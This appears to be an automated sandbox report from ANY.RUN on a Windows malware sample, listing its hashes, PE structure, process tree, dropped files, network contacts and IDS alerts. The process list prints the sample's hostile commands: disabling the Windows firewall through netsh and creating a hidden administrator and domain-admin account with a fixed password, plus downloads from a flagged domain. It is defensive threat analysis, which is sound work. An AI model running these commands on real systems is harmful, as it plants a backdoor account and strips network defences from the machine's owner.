| File name: | malware200 |
| Full analysis: | https://app.any.run/tasks/2d39d33d-56ab-4244-bb95-9e4ba438e5ff |
| Verdict: | Malicious activity |
| Analysis date: | February 22, 2020, 10:24:44 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 957302C7E0C9E025397C2E3CFDC0FEF3 |
| SHA1: | 10AC72A20AC5CD28C94199899FE2EAE6ED5B3A84 |
| SHA256: | AE1DAB47FAE0307831EC90B249D26AB4D783FD1FBFEBF98A2448D40932885BBD |
| SSDEEP: | 12288:oquErHF6xC9D6DmR1J98w4oknqOOCyQf1vYOUlsxd:prl6kD68JmlotQfhHUl4 |
MALICIOUS
Starts NET.EXE to view/add/change user profiles
- malware200.exe (PID: 3736)
Turns off the firewall via NETSH.EXE
- cmd.exe (PID: 2060)
- cmd.exe (PID: 820)
Starts NET.EXE to view/change users group
- malware200.exe (PID: 3736)
SUSPICIOUS
Uses NETSH.EXE for network configuration
- cmd.exe (PID: 2060)
- cmd.exe (PID: 3016)
- cmd.exe (PID: 820)
Starts CMD.EXE for commands execution
- malware200.exe (PID: 3736)
Executes application which crashes
- malware200.exe (PID: 3736)
Reads Internet Cache Settings
- malware200.exe (PID: 3736)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 EXE Yoda's Crypter (63.7) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.7) |
| .exe | | | Win32 Executable (generic) (10.8) |
| .exe | | | Generic Win/DOS Executable (4.8) |
| .exe | | | DOS Executable Generic (4.8) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2017:04:26 20:12:56+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 12 |
| CodeSize: | 352256 |
| InitializedDataSize: | 106496 |
| UninitializedDataSize: | 634880 |
| EntryPoint: | 0xf1990 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 26-Apr-2017 18:12:56 |
| Detected languages: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000110 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 3 |
| Time date stamp: | 26-Apr-2017 18:12:56 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.yt | 0x00001000 | 0x0009B000 | 0x00000000 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_TYPE_GROUP, IMAGE_SCN_TYPE_OVER | 0 |
.yPuj | 0x0009C000 | 0x00056000 | 0x00055C00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.93689 |
.RoJQ | 0x000F2000 | 0x0001A000 | 0x0001A000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.90381 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.40026 | 1007 | Latin 1 / Western European | English - United Kingdom | RT_MANIFEST |
2 | 2.19191 | 296 | Latin 1 / Western European | English - United Kingdom | RT_ICON |
3 | 2.3654 | 296 | Latin 1 / Western European | English - United Kingdom | RT_ICON |
4 | 3.72198 | 744 | Latin 1 / Western European | English - United Kingdom | RT_ICON |
5 | 3.50674 | 296 | Latin 1 / Western European | English - United Kingdom | RT_ICON |
6 | 3.58616 | 3752 | Latin 1 / Western European | English - United Kingdom | RT_ICON |
7 | 7.75159 | 1428 | Latin 1 / Western European | English - United Kingdom | RT_STRING |
8 | 7.80906 | 1674 | Latin 1 / Western European | English - United Kingdom | RT_STRING |
9 | 7.70999 | 1168 | Latin 1 / Western European | English - United Kingdom | RT_STRING |
10 | 7.77321 | 1532 | Latin 1 / Western European | English - United Kingdom | RT_STRING |
Imports
ADVAPI32.dll |
COMCTL32.dll |
COMDLG32.dll |
GDI32.dll |
IPHLPAPI.DLL |
KERNEL32.DLL |
MPR.dll |
OLEAUT32.dll |
PSAPI.DLL |
SHELL32.dll |
Total processes
95
Monitored processes
40
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 348 | "C:\Windows\system32\ntvdm.exe" -i1 | C:\Windows\system32\ntvdm.exe | — | malware200.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: NTVDM.EXE Exit code: 3221225477 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 572 | netsh advfirewall set currentprofile state off | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Network Command Shell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 820 | C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off | C:\Windows\system32\cmd.exe | — | malware200.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1380 | net user server_sys h3lp12desk | C:\Windows\system32\net.exe | — | malware200.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1524 | C:\Windows\system32\net1 user server_sys /active:yes | C:\Windows\system32\net1.exe | — | net.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1676 | netsh advfirewall set allprofiles state off | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Network Command Shell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1692 | C:\Windows\system32\net1 localgroup administrators server_sys /add | C:\Windows\system32\net1.exe | — | net.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1696 | C:\Windows\system32\net1 group "domain admins" server_sys /add | C:\Windows\system32\net1.exe | — | net.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1872 | net localgroup "remote desktop users" server_sys /add | C:\Windows\system32\net.exe | — | malware200.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1916 | C:\Windows\system32\net1 user server_sys h3lp12desk | C:\Windows\system32\net1.exe | — | net.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
272
Read events
91
Write events
181
Delete events
0
Modification events
| (PID) Process: | (3308) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (572) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (1676) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (1676) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-3 |
Value: Microsoft Corporation | |||
| (PID) Process: | (1676) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\tsgqec.dll,-100 |
Value: RD Gateway Quarantine Enforcement Client | |||
| (PID) Process: | (1676) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\tsgqec.dll,-101 |
Value: Provides RD Gateway enforcement for NAP | |||
| (PID) Process: | (1676) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\tsgqec.dll,-102 |
Value: 1.0 | |||
| (PID) Process: | (1676) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\tsgqec.dll,-103 |
Value: Microsoft Corporation | |||
| (PID) Process: | (1676) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\eapqec.dll,-100 |
Value: EAP Quarantine Enforcement Client | |||
| (PID) Process: | (1676) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\eapqec.dll,-101 |
Value: Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies. | |||
Executable files
0
Suspicious files
2
Text files
4
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3736 | malware200.exe | C:\Users\admin\AppData\Local\Temp\CabBA11.tmp | — | |
MD5:— | SHA256:— | |||
| 3736 | malware200.exe | C:\Users\admin\AppData\Local\Temp\TarBA12.tmp | — | |
MD5:— | SHA256:— | |||
| 348 | ntvdm.exe | C:\Users\admin\AppData\Local\Temp\scsCD2C.tmp | — | |
MD5:— | SHA256:— | |||
| 348 | ntvdm.exe | C:\Users\admin\AppData\Local\Temp\scsCD3C.tmp | — | |
MD5:— | SHA256:— | |||
| 3736 | malware200.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08 | der | |
MD5:— | SHA256:— | |||
| 3736 | malware200.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08 | binary | |
MD5:— | SHA256:— | |||
| 3736 | malware200.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78RFYB7Z\TT7NY3E3.htm | html | |
MD5:— | SHA256:— | |||
| 3736 | malware200.exe | C:\Users\admin\AppData\Local\Temp\gettl1.ini | html | |
MD5:— | SHA256:— | |||
| 3736 | malware200.exe | C:\Users\admin\AppData\Local\Temp\kerll32.exe | html | |
MD5:— | SHA256:— | |||
| 3736 | malware200.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\GLA9AI4H.htm | html | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
3
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3736 | malware200.exe | GET | 301 | 37.9.175.7:80 | http://ucitsaanglicky.sk/img/logo6.jpg | SK | — | — | malicious |
3736 | malware200.exe | GET | 301 | 37.9.175.7:80 | http://ucitsaanglicky.sk/img/save3.png | SK | — | — | malicious |
3736 | malware200.exe | GET | 200 | 2.21.242.197:80 | http://isrg.trustid.ocsp.identrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D | NL | der | 1.37 Kb | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3736 | malware200.exe | 37.9.175.7:80 | ucitsaanglicky.sk | Websupport s.r.o. | SK | malicious |
3736 | malware200.exe | 37.9.175.7:443 | ucitsaanglicky.sk | Websupport s.r.o. | SK | malicious |
3736 | malware200.exe | 2.21.242.197:80 | isrg.trustid.ocsp.identrust.com | Akamai International B.V. | NL | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.jily.tw |
| malicious |
ucitsaanglicky.sk |
| malicious |
isrg.trustid.ocsp.identrust.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3736 | malware200.exe | Potential Corporate Privacy Violation | ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile |
3736 | malware200.exe | Potential Corporate Privacy Violation | ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile |